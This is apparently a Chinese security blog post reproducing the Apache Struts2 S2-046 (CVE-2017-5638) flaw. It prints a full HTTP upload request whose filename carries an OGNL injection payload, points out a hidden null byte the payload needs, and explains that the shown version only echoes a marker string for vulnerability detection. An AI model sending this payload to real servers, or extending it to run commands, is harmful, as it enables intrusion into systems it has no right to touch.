Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

CVE-2017-5638 Apache Struts2 S2-046 简易复现指南

wpadmin~August 9, 2019 /InfoSec

CVE-2017-5638 Apache Struts2 S2-046

正文

整体检测思路:
使用恶意的 Content-Disposition 值, OGNL 表达式在 filename 参数中,OGNL 执行的内容会改变服务端的响应,使 HTTP 响应中出现 dbappsecurity 关键字。
应用漏洞扫描器通过判断响应中是否存在 dbappsecurity 的关键字来判断 OGNL 表达式是否成功执行,进而判断服务端是否存在该漏洞。

注意,这个 payload 直接复制是无法使用的。
因为其中存在一个不可见的字符(\x00),其字节流的十六进制表示为 00 ,位置在 (#o.close())}"] 后面,并且在 b" 前面。
这个点可以考虑使用 winhex 等十六进制编辑器来发现。

S2-046

POST /doUpload.action HTTP/1.1
Cookie: SessionId=96F3F15432E0660E0654B1CE240C4C36
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Charsert: UTF-8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Cache-Control: no-cache
Pragma: no-cache
Host: 192.168.198.133
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 490

------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="pocfile"; filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(+'dbappsecurity')).(#o.close())}"]  b"
Content-Type: application/octet-stream

This is a test string.
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

问题

遇到的问题

基于响应输出字符串的 payload 可以执行,但是无法成功执行命令。
如果尝试执行命令(修改执行的 OGNL 表达式),服务端响应为:

因为远程测试无法分析服务端log日志,暂未解决该问题,(暂时)一般来说可以通过 OGNL 修改响应内容即视为漏洞存在。

<html><head><title>Apache Tomcat/6.0.41 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 404 - There is no Action mapped for namespace [/] and action name [doUpload] associated with context path [].</h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u>There is no Action mapped for namespace [/] and action name [doUpload] associated with context path [].</u></p><p><b>description</b> <u>The requested resource is not available.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/6.0.41</h3></body></html>

Leave a Reply

Your email address will not be published. Required fields are marked *